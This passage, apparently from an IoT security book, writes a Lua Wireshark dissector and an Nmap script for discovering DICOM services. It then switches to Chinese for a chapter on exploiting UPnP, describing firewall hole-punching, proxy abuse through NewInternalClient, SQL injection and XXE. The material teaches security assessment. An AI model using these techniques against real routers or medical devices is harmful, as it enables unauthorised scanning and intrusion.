### Populating the Dissector Function After adding our new ProtoFields as fields to our protocol dissector, we need to add code to populate them in our dissector function, `dicom_protocol.dissector()`, so they’re included in the protocol display tree: ``` 1 local pdu_id = buffer(0, 1):uint() -- Convert to unsigned int if pdu_id == 1 or pdu_id == 2 then -- ASSOC-REQ (1) / ASSOC-RESP (2) local assoc_tree = 2subtree:add(dicom_protocol, buffer(), "ASSOCIATE REQ/RSP") assoc_tree:add(protocol_version, buffer(6, 2)) assoc_tree:add(calling_application, buffer(10, 16)) assoc_tree:add(called_application, buffer(26, 16)) end ``` Our dissector should add the extracted fields to a subtree in our protocol tree. To create a subtree, we call the `add()` function from our existing protocol tree 2. Now our simple dissector can identify PDU types, message lengths, the type of ASSOCIATE message 1, the protocol, the calling application, and the called application. Figure 5-7 shows the result.  Figure 5-7: Subtrees added to existing protocol trees ### Parsing Variable-Length Fields Now that we’ve identified and parsed the fixed-length sections, let’s parse the message’s variable-length fields. In DICOM, we use identifiers called *contexts* to store, represent, and negotiate different features. We’ll show you how to locate the three different types of contexts available: the Application Context, Presentation Contexts, and User Info Context, which have a variable number of item fields. But we won’t write code to parse the item contents. For each of the contexts, we’ll add a subtree that displays the length of the context and the variable number of context items. Modify the main protocol dissector so it looks as follows: ``` function dicom_protocol.dissector(buffer, pinfo, tree) pinfo.cols.protocol = dicom_protocol.name local subtree = tree:add(dicom_protocol, buffer(), "DICOM PDU") local pkt_len = buffer(2, 4):uint() local pdu_id = buffer(0, 1):uint() subtree:add_le(pdu_type, buffer(0,1)) subtree:add(message_length, buffer(2,4)) if pdu_id == 1 or pdu_id == 2 then -- ASSOC-REQ (1) / ASSOC-RESP (2) local assoc_tree = subtree:add(dicom_protocol, buffer(), "ASSOCIATE REQ/RSP") assoc_tree:add(protocol_version, buffer(6, 2)) assoc_tree:add(calling_application, buffer(10, 16)) assoc_tree:add(called_application, buffer(26, 16)) --Extract Application Context 1 local context_variables_length = buffer(76,2):uint() 2 local app_context_tree = assoc_tree:add(dicom_protocol, buffer(74, context_variables_length + 4), "Application Context") 3 app_context_tree:add(app_context_type, buffer(74, 1)) app_context_tree:add(app_context_length, buffer(76, 2)) app_context_tree:add(app_context_name, buffer(78, context_variables_length)) --Extract Presentation Context(s) 4 local presentation_items_length = buffer(78 + context_variables_length + 2, 2):uint() local presentation_context_tree = assoc_tree:add(dicom_protocol, buffer(78 + context_variables_length, presentation_items_length + 4), "Presentation Context") presentation_context_tree:add(presentation_context_type, buffer(78 + context_variables_length, 1)) presentation_context_tree:add(presentation_context_length, buffer(78 + context_variables_length + 2, 2)) -- TODO: Extract Presentation Context Items --Extract User Info Context 5 local user_info_length = buffer(78 + context_variables_length + 2 + presentation_items_length + 2 + 2, 2):uint() local userinfo_context_tree = assoc_tree:add(dicom_protocol, buffer(78 + context_variables_length + presentation_items_length + 4, user_info_length + 4), "User Info Context") userinfo_context_tree:add(userinfo_length, buffer(78 + context_variables_length + 2 + presentation_items_length + 2 + 2, 2)) -- TODO: Extract User Info Context Items end end ``` When working with network protocols, you’ll often find variable-length fields that require you to calculate offsets. It’s very important that you get the length values correct, because all offset calculations depend on them. Keeping this in mind, we extract the Application Context 1, Presentation Contexts 4, and User Info Context 5. For each context, we extract the length of the context 2 and add a subtree for the information contained in that context 3. We add individual fields using the `add()` function and calculate the string offsets based on the length of the fields. We obtain all of this from the packet received using the `buffer()` function. ### Testing the Dissector After applying the changes referenced in “Parsing Variable-Length Fields,” make sure your DICOM packets are parsed correctly by checking the reported lengths. You should now see a subtree for each context (Figure 5-8). Note that because we provide a buffer range in our new subtrees, you can select them to highlight the corresponding section. Take a moment to verify that each context of the DICOM protocol is recognized as expected.  Figure 5-8: User Info Context is 58\. The highlighted message is 62 bytes (58 bytes of data, 1 byte for the type, 1 reserved byte, and 2 bytes for the size). If you want more practice, we encourage you to add fields from the different contexts to the dissector. You can grab a DICOM packet capture from the Wireshark Packet Sample page, where we submitted a capture containing a DICOM ping. You’ll also find the full example, including TCP fragmentation, in this book’s online resources. Remember that you can reload the Lua scripts at any time to test your latest dissector without restarting Wireshark by clicking **Analyze**▶**Reload Lua plugins**. ## Writing a DICOM Service Scanner for the Nmap Scripting Engine Earlier in this chapter, you learned that DICOM has a ping-like utility called a C-Echo request formed by several A-type messages. You then wrote a Lua dissector to analyze these messages with Wireshark. Now you’ll use Lua to tackle another task: writing a DICOM *service scanner*. The scanner will identify DICOM service providers (DSP) remotely on networks to actively test their configurations and even launch attacks. Because Nmap is well known for its scanning capabilities and its scripting engine also runs in Lua, it’s the perfect tool for writing such a scanner. For this exercise, we’ll focus on the subset of functions related to sending a partial C-ECHO request. ### Writing an Nmap Scripting Engine Library for DICOM We’ll begin by creating an Nmap Scripting Engine library for our DICOM-related code. We’ll use the library to store any functions used in socket creation and destruction, sending and receiving DICOM packets, and actions like associating and querying services. Nmap already includes libraries to help you perform common input/output (I/O) operations, socket handling, and other tasks. Take a moment to review the library collection so you’ll know what’s already available. Read the documentation for these scripts and libraries at [`nmap.org/nsedoc/`](https://nmap.org/nsedoc/). You can usually find Nmap Scripting Engine libraries in the *<installation directory>/nselib*/ folder. Locate this directory, and then create a file called *dicom.lua*. In this file, begin by declaring other standard Lua and Nmap Scripting Engine libraries used. Also, tell the environment the name of the new library: ``` local nmap = require "nmap" local stdnse = require "stdnse" local string = require "string" local table = require "table" local nsedebug = require "nsedebug" _ENV = stdnse.module("dicom", stdnse.seeall) ``` In this case, we’ll use four different libraries: two Nmap Scripting Engine libraries ( *nmap* and *stdnse*) and two standard Lua libraries (*string* and *table*). The Lua libraries *string* and *table* are, unsurprisingly, for string and table operations. We’ll mainly use the *nmap* library socket handling, and we’ll use *stdnse* for reading user-supplied arguments and printing debug statements when necessary. We’ll also use the helpful *nsedebug* library, which displays different data types in a human-readable form. ### DICOM Codes and Constants Now let’s define some constants to store the PDU codes, UUID values, and the minimum and maximum allowed size for packets. Doing so will allow you to write cleaner code that is easier to maintain. In Lua, we typically define constants in capital letters: ``` local MIN_SIZE_ASSOC_REQ = 68 -- Min size of a ASSOCIATE req 1 local MAX_SIZE_PDU = 128000 -- Max size of any PDU local MIN_HEADER_LEN = 6 -- Min length of a DICOM heade local PDU_NAMES = {} local PDU_CODES = {} local UID_VALUES = {} -- Table for PDU names to codes 2 PDU_CODES = { ASSOCIATE_REQUEST = 0x01, ASSOCIATE_ACCEPT = 0x02, ASSOCIATE_REJECT = 0x03, DATA = 0x04, RELEASE_REQUEST = 0x05, RELEASE_RESPONSE = 0x06, ABORT = 0x07 } -- Table for UID names to values UID_VALUES = { VERIFICATION_SOP = "1.2.840.10008.1.1", -- Verification SOP Class APPLICATION_CONTEXT = "1.2.840.10008.3.1.1.1", -- DICOM Application Context Name IMPLICIT_VR = "1.2.840.10008.1.2", -- Implicit VR Little Endian: Default Transfer Syntax for DICOM FIND_QUERY = "1.2.840.10008.5.1.4.1.2.2.1" -- Study Root Query/Retrieve Information Model - FIND } -- We store the names using their codes as keys for printing PDU type names for i, v in pairs(PDU_CODES) do PDU_NAMES[v] = i end ``` Here we define constant values for common DICOM operation codes. We also define tables to represent different data classes through UIDs 2 and DICOM-specific packet lengths 1. Now we’re ready to start communicating with the service. ### Writing Socket Creation and Destruction Functions To send and receive data, we’ll use the Nmap Scripting Engine library *nmap*. Because socket creation and destruction are common operations, it’s a good idea to write functions for them inside our new library. Let’s write our first function, `dicom.start_connection()`, which creates a socket to the DICOM service: ``` 1 --- -- start_connection(host, port) starts socket to DICOM service -- -- @param host Host object -- @param port Port table -- @return (status, socket) If status is true, the DICOM object holding the socket is returned. -- If status is false, socket is the error message. --- function start_connection(host, port) local dcm = {} local status, err 2 dcm['socket'] = nmap.new_socket() status, err = dcm['socket']:connect(host, port, "tcp") if(status == false) then return false, "DICOM: Failed to connect to service: " .. err end return true, dcm end ``` Note the *NSEdoc block format* at the beginning of the function 1. If you’re planning on submitting your script to the official Nmap repository, you must format it according to the rules described in the Nmap code standards page ([`secwiki.org/w/Nmap/Code_Standards`](https://secwiki.org/w/Nmap/Code_Standards)). Our new function, `dicom.start_connection(host, port)`, takes the host and port table containing the scanned service information, creates a table, and assigns a field named `‘socket’` to our newly created socket 2. We’ll omit the `close_connection` function for now to save space, because it’s a very similar process to starting a connection (you just make a call to `close()` instead of `connect()`). When the operation succeeds, the function returns the boolean `true` and the new DICOM object. ### Defining Functions for Sending and Receiving DICOM Packets Similarly, we create functions for sending and receiving DICOM packets: ``` -- send(dcm, data) Sends DICOM packet over established socket -- -- @param dcm DICOM object -- @param data Data to send -- @return status True if data was sent correctly, otherwise false and error message is returned. function send(dcm, data) local status, err stdnse.debug2("DICOM: Sending DICOM packet (%d bytes)", #data) if dcm["socket"] ~= nil then 1 status, err = dcm["socket"]:send(data) if status == false then return false, err end else return false, "No socket available" end return true end -- receive(dcm) Reads DICOM packets over an established socket -- -- @param dcm DICOM object -- @return (status, data) Returns data if status true, otherwise data is the error message. function receive(dcm) 2 local status, data = dcm["socket"]:receive() if status == false then return false, data end stdnse.debug2("DICOM: receive() read %d bytes", #data) return true, data end ``` The `send(dcm, data)` and `receive(dcm)` functions use the Nmap socket functions `send()` and `receive()`, respectively. They access the connection handle stored in the `dcm['socket']` variable to read 2 and write DICOM packets 1 over the socket. Note the `stdnse.debug[1-9]` calls, which are used to print debug statements when Nmap is running with the debugging flag (`-d`). In this case, using `stdnse.debug2()` will print when the debugging level is set to 2 or higher. ### Creating DICOM Packet Headers Now that we’ve set up the basic network I/O operations, let’s create the functions in charge of forming the DICOM messages. As mentioned previously, a DICOM PDU uses a header to indicate its type and length. In the Nmap Scripting Engine, we use strings to store the byte streams and the string functions `string.pack()` and `string.unpack()` to encode and retrieve the information, taking into account different formats and endianness. To use `string.pack()` and `string.unpack()`, you’ll need to become familiar with Lua’s format strings, because you’ll need to represent data in various formats. You can read about them at [`www.lua.org/manual/5.3/manual.html#6.4.2`](https://www.lua.org/manual/5.3/manual.html#6.4.2). Take a moment to learn the endianness notations and common conversions. ``` --- -- pdu_header_encode(pdu_type, length) encodes the DICOM PDU header -- -- @param pdu_type PDU type as an unsigned integer -- @param length Length of the DICOM message -- @return (status, dcm) If status is true, the header is returned. -- If status is false, dcm is the error message. --- function pdu_header_encode(pdu_type, length) -- Some simple sanity checks, we do not check ranges to allow users to create malformed packets. if not(type(pdu_type)) == "number" then 1 return false, "PDU Type must be an unsigned integer. Range:0-7" end if not(type(length)) == "number" then return false, "Length must be an unsigned integer." end local header = string.pack("2<B >B I43", pdu_type, -- PDU Type ( 1 byte - unsigned integer in Big Endian ) 0, -- Reserved section ( 1 byte that should be set to 0x0 ) length) -- PDU Length ( 4 bytes - unsigned integer in Little Endian) if #header < MIN_HEADER_LEN then return false, "Header must be at least 6 bytes. Something went wrong." end return true, header 4 end ``` The `pdu_header_encode()` function will encode the PDU type and length information. After doing some simple sanity checks 1, we define the `header` variable. To encode the byte stream according to the proper endianness and format, we use `string.pack()` and the format string `<B >B I4`, where `<B` represents a single byte in Big Endian 2, and `>B I4` represents a byte, followed by an unsigned integer of four bytes, in Little Endian 3. The function returns a boolean representing the operation status and the result 4. ### Writing the A-ASSOCIATE Requests Message Contexts Additionally, we need to write a function that sends and parses the A-ASSOCIATE requests and responses. As you saw earlier in this chapter, the A-ASSOCIATE request message contains different types of contexts: Application, Presentations, and User Info. Because this is a longer function, let’s break it into parts. The Application Context explicitly defines the service elements and options. In DICOM, you’ll often see *Information Object Definitions* (*IODs*) that represent data objects managed through a central registry. You’ll find the full list of IODs at [`dicom.nema.org/dicom/2013/output/chtml/part06/chapter_A.html`](http://dicom.nema.org/dicom/2013/output/chtml/part06/chapter_A.html). We’ll be reading these IODs from the constant definitions we placed at the beginning of our library. Let’s start the DICOM connection and create the Application Context. ``` --- -- associate(host, port) Attempts to associate to a DICOM Service Provider by sending an A-ASSOCIATE request. -- -- @param host Host object -- @param port Port object -- @return (status, dcm) If status is true, the DICOM object is returned. -- If status is false, dcm is the error message. --- function associate(host, port, calling_aet_arg, called_aet_arg) local application_context = "" local presentation_context = "" local userinfo_context = "" local status, dcm = start_connection(host, port) if status == false then return false, dcm end application_context = string.pack(">1B 2B 3I2 4c" .. #UID_VALUES["APPLICATION_CONTEXT"], 0x10, -- Item type (1 byte) 0x0, -- Reserved ( 1 byte) #UID_VALUES["APPLICATION_CONTEXT"], -- Length (2 bytes) UID_VALUES["APPLICATION_CONTEXT"]) -- Application Context OID ``` An Application Context includes its type (one byte) 1, a reserved field (one byte) 2, the length of the context (two bytes) 3, and the value represented by OIDs 4. To represent this structure in Lua, we use the format string `B B I2 C[#length]`. We can omit the size value from strings of one byte. We create the Presentation and User Info Contexts in a similar way. Here is the Presentation Context, which defines the Abstract and Transfer Syntax. The *Abstract Syntax* and *Transfer Syntax* are sets of rules for formatting and exchanging objects, and we represent them with IODs. ``` presentation_context = string.pack(">B B I2 B B B B B B I2 c" .. #UID_VALUES["VERIFICATION_SOP"] .. "B B I2 c".. #UID_VALUES["IMPLICIT_VR"], 0x20, -- Presentation context type ( 1 byte ) 0x0, -- Reserved ( 1 byte ) 0x2e, -- Item Length ( 2 bytes ) 0x1, -- Presentation context id ( 1 byte ) 0x0,0x0,0x0, -- Reserved ( 3 bytes ) 0x30, -- Abstract Syntax Tree ( 1 byte ) 0x0, -- Reserved ( 1 byte ) 0x11, -- Item Length ( 2 bytes ) UID_VALUES["VERIFICATION_SOP"], 0x40, -- Transfer Syntax ( 1 byte ) 0x0, -- Reserved ( 1 byte ) 0x11, -- Item Length ( 2 bytes ) UID_VALUES["IMPLICIT_VR"]) ``` Note that there can be several Presentation Contexts. Next, we define the User Info Context: ``` local implementation_id = "1.2.276.0.7230010.3.0.3.6.2" local implementation_version = "OFFIS_DCMTK_362" userinfo_context = string.pack(">B B I2 B B I2 I4 B B I2 c" .. #implementation_id .. " B B I2 c".. #implementation_version, 0x50, -- Type 0x50 (1 byte) 0x0, -- Reserved ( 1 byte ) 0x3a, -- Length ( 2 bytes ) 0x51, -- Type 0x51 ( 1 byte) 0x0, -- Reserved ( 1 byte) 0x04, -- Length ( 2 bytes ) 0x4000, -- DATA ( 4 bytes ) 0x52, -- Type 0x52 (1 byte) 0x0, -- Reserved (1 byte) 0x1b, -- Length (2 bytes) implementation_id, -- Impl. ID (#implementation_id bytes) 0x55, -- Type 0x55 (1 byte) 0x0, -- Reserved (1 byte) #implementation_version, -- Length (2 bytes) implementation_version) ``` We now have three variables holding the contexts: `application_context`, `presentation_context`, and `userinfo_context`. ### Reading Script Arguments in the Nmap Scripting Engine We’ll append the contexts we just created to the header and A-ASSOCIATE request. To allow other scripts to pass arguments to our function and use different values for the calling and called application entity titles, we’ll offer two options: an optional argument or user supplied input. In the Nmap Scripting Engine, you can read script arguments supplied by `--script-args` using the Nmap Scripting Engine function `stdnse.get_script_args()`, as follows: ``` local called_ae_title = called_aet_arg or stdnse.get_script_args("dicom.called_aet") or "ANY-SCP" local calling_ae_title = calling_aet_arg or stdnse.get_script_args("dicom.calling_aet") or "NMAP-DICOM" if #calling_ae_title > 16 or #called_ae_title > 16 then return false, "Calling/Called AET field can't be longer than 16 bytes." end ``` The structure that holds the application entity titles must be 16 bytes long, so we use `string.rep()` to fill in the rest of the buffer with spaces: ``` --Fill the rest of buffer with %20 called_ae_title = called_ae_title .. string.rep(" ", 16 - #called_ae_title) calling_ae_title = calling_ae_title .. string.rep(" ", 16 - #calling_ae_title) ``` Now we can define our own calling and called application entity titles using script arguments. We could also use script arguments to write a tool that attempts to guess the correct application entity as if we were brute forcing a password. ### Defining the A-ASSOCIATE Request Structure Let’s put our A-ASSOCIATE request together. We define its structure the same way we did in the contexts: ``` -- ASSOCIATE request local assoc_request = string.pack("1>I2 2I2 3c16 4c16 5c32 6c" .. application_context:len() .. " 7c" .. presentation_context:len() .. " 8c".. userinfo_context:len(), 0x1, -- Protocol version ( 2 bytes ) 0x0, -- Reserved section ( 2 bytes that should be set to 0x0 ) called_ae_title, -- Called AE title ( 16 bytes) calling_ae_title, -- Calling AE title ( 16 bytes) 0x0, -- Reserved section ( 32 bytes set to 0x0 ) application_context, presentation_context, userinfo_context) ``` We begin by specifying the protocol version (two bytes) 1, a reserved section (two bytes) 2, the called application entity title (16 bytes) 3, the calling application entity title (16 bytes) 4, another reserved section (32 bytes) 5, and the contexts we just created (`application` 6, `presentation` 7, and `userinfo` 8) . Now our A-ASSOCIATE request is just missing its header. It’s time to use the `dicom.pdu_header_encode()` function we defined earlier to generate it: ``` local status, header = pdu_header_encode(PDU_CODES["ASSOCIATE_REQUEST"], #assoc_request) 1 -- Something might be wrong with our header if status == false then return false, header end assoc_request = header .. assoc_request 2 stdnse.debug2("PDU len minus header:%d", #assoc_request-#header) if #assoc_request < MIN_SIZE_ASSOC_REQ then return false, string.format("ASSOCIATE request PDU must be at least %d bytes and we tried to send %d.", MIN_SIZE_ASSOC_REQ, #assoc_request) end ``` We create a header 1 with the PDU type set to the A-ASSOCIATE request value and then append the message body 2. We also add some error-checking logic here. Now we can send the complete A-ASSOCIATE request and read the response with some help from our previously defined functions for sending and reading DICOM packets: ``` status, err = send(dcm, assoc_request) if status == false then return false, string.format("Couldn't send ASSOCIATE request:%s", err) end status, err = receive(dcm) if status == false then return false, string.format("Couldn't read ASSOCIATE response:%s", err) end if #err < MIN_SIZE_ASSOC_RESP then return false, "ASSOCIATE response too short." end ``` Great! Next, we’ll need to detect the PDU type used to accept or reject the connection. ### Parsing A-ASSOCIATE Responses At this point, the only task left to do is parse the response with some help from `string.unpack()`. It’s similar to `string.pack()`, and we use format strings to define the structure to be read. In this case, we read the response type (one byte), the reserved field (one byte), the length (four bytes), and the protocol version (two bytes) corresponding to the format string `>B B I4 I2`: ``` local resp_type, _, resp_length, resp_version = string.unpack(">B B I4 I2", err) stdnse.debug1("PDU Type:%d Length:%d Protocol:%d", resp_type, resp_length, resp_version) ``` Then we check the response code to see if it matches the PDU code for ASSOCIATE acceptance or rejection: ``` if resp_type == PDU_CODES["ASSOCIATE_ACCEPT"] then stdnse.debug1("ASSOCIATE ACCEPT message found!") return true, dcm elseif resp_type == PDU_CODES["ASSOCIATE_REJECT"] then stdnse.debug1("ASSOCIATE REJECT message found!") return false, "ASSOCIATE REJECT received" else return false, "Unexpected response:" .. resp_type end end -- end of function ``` If we receive an ASSOCIATE acceptance message, we’ll return true; otherwise, we’ll return false. ### Writing the Final Script Now that we’ve implemented a function to associate with the service, we create the script that loads the library and calls the `dicom.associate()` function: ``` description = [[ Attempts to discover DICOM servers (DICOM Service Provider) through a partial C-ECHO request. C-ECHO requests are commonly known as DICOM ping as they are used to test connectivity. Normally, a 'DICOM ping' is formed as follows: * Client -> A-ASSOCIATE request -> Server * Server -> A-ASSOCIATE ACCEPT/REJECT -> Client * Client -> C-ECHO request -> Server * Server -> C-ECHO response -> Client * Client -> A-RELEASE request -> Server * Server -> A-RELEASE response -> Client For this script we only send the A-ASSOCIATE request and look for the success code in the response as it seems to be a reliable way of detecting a DICOM Service Provider. ]] --- -- @usage nmap -p4242 --script dicom-ping <target> -- @usage nmap -sV --script dicom-ping <target> -- -- @output -- PORT STATE SERVICE REASON -- 4242/tcp open dicom syn-ack -- |_dicom-ping: DICOM Service Provider discovered --- author = "Paulino Calderon <calderon()calderonpale.com>" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"discovery", "default"} local shortport = require "shortport" local dicom = require "dicom" local stdnse = require "stdnse" local nmap = require "nmap" portrule = shortport.port_or_service({104, 2761, 2762, 4242, 11112}, "dicom", "tcp", "open") action = function(host, port) local dcm_conn_status, err = dicom.associate(host, port) if dcm_conn_status == false then stdnse.debug1("Association failed:%s", err) if nmap.verbosity() > 1 then return string.format("Association failed:%s", err) else return nil end end -- We have confirmed it is DICOM, update the service name port.version.name = "dicom" nmap.set_port_version(host, port) return "DICOM Service Provider discovered" end ``` First, we fill in some required fields, such as a description, author, license, categories, and an execution rule. We declare the main function of the script with the name `action` as a Lua function. You can learn more about script formats by reading the official documentation ([`nmap.org/book/nse-script-format.html`](https://nmap.org/book/nse-script-format.html)) or by reviewing the collection of official scripts. If the script finds a DICOM service, the script returns the following output: ``` Nmap scan report for 127.0.0.1 PORT STATE SERVICE REASON 4242/tcp open dicom syn-ack |_dicom-ping: DICOM Service Provider discovered Final times for host: srtt: 214 rttvar: 5000 to: 100000 ``` Otherwise, the script returns no output, because by default Nmap only shows information when it accurately detects a service. ## Conclusion In this chapter, you learned how to work with new network protocols and created tools for the most popular frameworks for network scanning (Nmap) and traffic analysis (Wireshark). You also learned how to perform common operations, such as creating common data structures, handling strings, and performing network I/O operations, to quickly prototype new network security tools in Lua. With this knowledge, you can tackle the challenges presented in this chapter (or new ones) to hone your Lua skills. In the constantly evolving IoT world, the ability to quickly write new network exploitation tools is very handy. In addition, don’t forget to stick to a methodology when performing security assessments. The one presented in this chapter is only a starting point for understanding and detecting network protocol anomalies. Because the topic is very extensive, we couldn’t cover all common tasks related to protocol analysis, but we highly recommend *Attacking Network Protocols* by James Forshaw (No Starch Press, 2018).
第六章:利用零配置网络

零配置网络 是一组自动化分配网络地址、分发和解析主机名、发现网络服务的技术,无需手动配置或服务器。这些技术旨在局域网中运行,通常假设环境中的参与者已同意参与该服务,这一事实使得网络上的攻击者可以轻松利用这些技术。
IoT 系统常常使用零配置协议,使设备能够接入网络,而无需用户干预。在本章中,我们探讨了在三组零配置协议中常见的漏洞——通用即插即用(UPnP)、组播域名系统(mDNS)/域名系统服务发现(DNS-SD)和 Web 服务动态发现(WS-Discovery)——并讨论如何对依赖这些协议的 IoT 系统进行攻击。我们将绕过防火墙,伪装成网络打印机访问文档,伪造流量模拟 IP 摄像头等。
利用 UPnP
UPnP 网络协议集自动化了在网络中添加和配置设备及系统的过程。支持 UPnP 的设备可以动态加入网络,广播其名称和功能,并发现其他设备及其功能。例如,人们使用 UPnP 应用程序来轻松识别网络打印机、自动化家庭路由器上的端口映射,以及管理视频流服务等。
但是,这种自动化是有代价的,正如你在本节中将要了解的那样。我们将首先概述 UPnP,然后设置一个测试的 UPnP 服务器,并利用它打开防火墙中的漏洞。我们还将解释针对 UPnP 的其他攻击方式,以及如何结合不安全的 UPnP 实现与其他漏洞进行高影响攻击。
UPnP 堆栈
UPnP 堆栈由六个层次组成:寻址、发现、描述、控制、事件和展示。
在 寻址 层,支持 UPnP 的系统会尝试通过 DHCP 获取一个 IP 地址。如果无法获得,它们会从 169.254.0.0/16 范围内自分配一个地址(RFC 3927),这个过程称为 AutoIP。
接下来是 发现 层,在该层,系统使用简单服务发现协议(SSDP)搜索网络中的其他设备。发现设备的方式有主动和被动两种。当使用主动方式时,支持 UPnP 的设备会向 UDP 端口 1900 上的多播地址 239.255.255.250 发送一个发现消息(称为 M-SEARCH 请求)。我们称这个请求为 HTTPU(即 HTTP over UDP),因为它包含一个类似于 HTTP 头部的头信息。M-SEARCH 请求如下所示:
M-SEARCH * HTTP/1.1
ST: ssdp:all
MX: 5
MAN: ssdp:discover
HOST: 239.255.255.250:1900
监听此请求的 UPnP 系统应回复一个 UDP 单播消息,宣布描述XML 文件的 HTTP 位置,该文件列出了设备支持的服务。(在第四章中,我们演示了如何连接到 IP 摄像头的自定义网络服务,该服务返回的信息类似于此类描述 XML 文件中的内容,暗示该设备可能支持 UPnP。)
在使用被动方法发现设备时,UPnP 支持的设备通过将 NOTIFY 消息发送到 UDP 端口 1900 上的多播地址 239.255.255.250,定期在网络上广播它们的服务。以下是该消息,类似于在主动发现时发送的响应:
NOTIFY * HTTP/1.1\r\n
HOST: 239.255.255.250:1900\r\n
CACHE-CONTROL: max-age=60\r\n
LOCATION: http://192.168.10.254:5000/rootDesc.xml\r\n
SERVER: OpenWRT/18.06-SNAPSHOT UPnP/1.1 MiniUPnPd/2.1\r\n
NT: urn:schemas-upnp-org:service:WANIPConnection:2\r\n
网络上任何感兴趣的参与者都可以监听这些发现消息并发送描述查询消息。在描述层中,UPnP 参与者可以了解更多关于设备的信息,包括其功能以及如何与之交互。每个 UPnP 配置文件的描述都可以在活动发现过程中接收到的响应消息的 LOCATION 字段值中找到,或者在被动发现过程中接收到的 NOTIFY 消息中找到。LOCATION 字段包含一个 URL,指向一个描述 XML 文件,该文件包含在控制和事件阶段中使用的 URL(将在下文描述)。
控制层可能是最重要的一层;它允许客户端使用描述文件中的 URL 向 UPnP 设备发送命令。客户端可以通过简单对象访问协议(SOAP)来实现这一点,SOAP 是一种使用 XML 通过 HTTP 传输的消息协议。设备通过controlURL端点发送 SOAP 请求,该端点在描述文件中的<service>标签内进行了描述。<service>标签的格式如下:
<service>
<serviceType>urn:schemas-upnp-org:service:WANIPConnection:2</serviceType>
<serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>
<SCPDURL>/WANIPCn.xml</SCPDURL>
1 <controlURL>/ctl/IPConn</controlURL>
2 <eventSubURL>/evt/IPConn</eventSubURL>
</service>
你可以看到controlURL。事件层通知已订阅特定eventURL 2 的客户端,该 URL 也在描述 XML 文件中的service标签内描述。这些事件 URL 与特定的状态变量相关联(也包含在描述 XML 文件中),用于建模服务在运行时的状态。在本节中,我们不会使用状态变量。
展示层提供了一个基于 HTML 的用户界面,用于控制设备并查看其状态,例如,UPnP 支持的摄像头或路由器的 Web 界面。
常见的 UPnP 漏洞
UPnP 有着长时间的错误实现和缺陷。首先,由于 UPnP 设计用于在局域网内部使用,因此该协议没有认证机制,这意味着网络上的任何人都可以滥用它。
已知 UPnP 堆栈对输入验证不严,这导致了诸如未经验证的 NewInternalClient 错误等漏洞。这个漏洞允许你使用任何类型的 IP 地址,无论是内部的还是外部的,作为设备端口转发规则中的 NewInternalClient 字段。这意味着攻击者可以将一个易受攻击的路由器变成代理。例如,假设你添加了一个端口转发规则,将 NewInternalClient 设置为 sock-raw.org 的 IP 地址,将 NewInternalPort 设置为 TCP 端口 80,将 NewExternalPort 设置为 6666。然后,通过探测路由器的外部 IP 地址的 6666 端口,你就可以让路由器探测 sock-raw.org 上的 Web 服务器,而你的 IP 地址不会出现在目标日志中。我们将在下一节中介绍这种攻击的变种。
同时,UPnP 堆栈有时包含内存损坏漏洞,这在最好的情况下可能导致远程拒绝服务攻击,而在最坏的情况下可能导致远程代码执行。例如,攻击者发现一些设备使用 SQL 查询来更新它们的内存规则,同时通过 UPnP 外部接受新规则,使它们容易受到 SQL 注入攻击。此外,由于 UPnP 依赖于 XML,配置不当的 XML 解析引擎可能会成为 外部实体(XXE)攻击的受害者。在这些攻击中,解析引擎处理包含对外部实体的引用的潜在恶意输入,从而泄露敏感信息或对系统造成其他影响。更糟糕的是,规范不鼓励但并未完全禁止在面向互联网的 WAN 接口上使用 UPnP。即使一些厂商遵循了这一建议,实施中的漏洞往往仍允许 WAN 请求通过。
最后但同样重要的是,设备通常不会记录 UPnP 请求,这意味着用户无法知道攻击者是否在积极利用它。即使设备支持 UPnP 日志记录,日志通常存储在设备的客户端,并且没有通过用户界面配置的选项。
通过防火墙打洞
让我们进行一种或许是最常见的 UPnP 攻击:通过防火墙打洞。换句话说,这种攻击将添加或修改防火墙配置中的规则,从而暴露一个本应受到保护的网络服务。通过这样做,我们将了解不同的 UPnP 层次,并更好地理解协议的工作原理。
攻击原理
这个防火墙攻击依赖于通过 UPnP 实现的 Internet Gateway Device(IGD)协议的固有宽容性。IGD 在 网络地址转换(NAT)设置中映射端口。
几乎每个家庭路由器都使用 NAT,这是一种通过将 IP 地址重新映射到私有网络地址,使多个设备共享相同外部 IP 地址的系统。外部 IP 通常是互联网服务提供商分配给您的调制解调器或路由器的公共地址。私有 IP 地址可以是任何标准的 RFC 1918 范围:10.0.0.0–10.255.255.255(A 类)、172.16.0.0–172.31.255.255(B 类)或 192.168.0.0–192.168.255.255(C 类)。
尽管 NAT 对家庭解决方案很方便,并且节省了 IPv4 地址空间,但它确实存在一些灵活性问题。例如,当应用程序(如 BitTorrent 客户端)需要其他系统连接到其特定的公共端口,但又位于 NAT 设备后面时会发生什么?除非该端口在设备的面向互联网的网络上暴露,否则没有对等方能够连接。一种解决方案是让用户手动配置路由器上的端口转发。但这样会很不方便,尤其是当每个连接都需要更改端口时。此外,如果端口在路由器的端口转发设置中被静态配置,任何其他需要使用该特定端口的应用程序就无法使用。原因是外部端口映射已经与特定的内部端口和 IP 地址关联,因此必须为每个连接重新配置。
这时 IGD 就派上用场了。IGD 允许应用程序在路由器上动态添加一个临时的端口映射,并在一定时间内有效。它解决了两个问题:用户不需要手动配置端口转发,并且它允许每个连接使用不同的端口。
但是攻击者可以在配置不安全的 UPnP 设置中滥用 IGD。通常,位于 NAT 设备后面的系统应仅能在自己的端口上执行端口转发。问题在于,许多物联网设备,即使到今天,仍允许网络中的任何人添加其他系统的端口映射。这使得网络中的攻击者可以做出恶意行为,比如将路由器的管理界面暴露到互联网上。
设置测试 UPnP 服务器
我们将首先在 OpenWrt 镜像上设置 MiniUPnP,这是 UPnP IGD 服务器的轻量级实现,这样我们就有了一个可供攻击的 UPnP 服务器。OpenWrt 是一个基于 Linux 的开源操作系统,专为嵌入式设备设计,主要用于网络路由器。如果您从 nostarch.com/practical-iot-hacking/ 下载易受攻击的 OpenWrt 虚拟机,可以跳过此设置部分。
本书不涉及 OpenWrt 的安装过程,但你可以在 openwrt.org/docs/guide-user/virtualization/vmware 上找到相关的设置指南。将 OpenWrt/18.06 的快照转换为 VMware 兼容的镜像,并在本地实验室网络上使用 VMware Workstation 或 Player 运行它。你可以在 downloads.openwrt.org/releases/18.06.4/targets/x86/generic/openwrt-18.06.4-x86-generic-combined-ext4.img.gz 下载我们用于 OpenWrt 版本 18.06 的 x86 快照。
接下来,设置你的网络配置,这对清晰地演示攻击至关重要。我们在虚拟机的设置中配置了两个网络适配器:
-
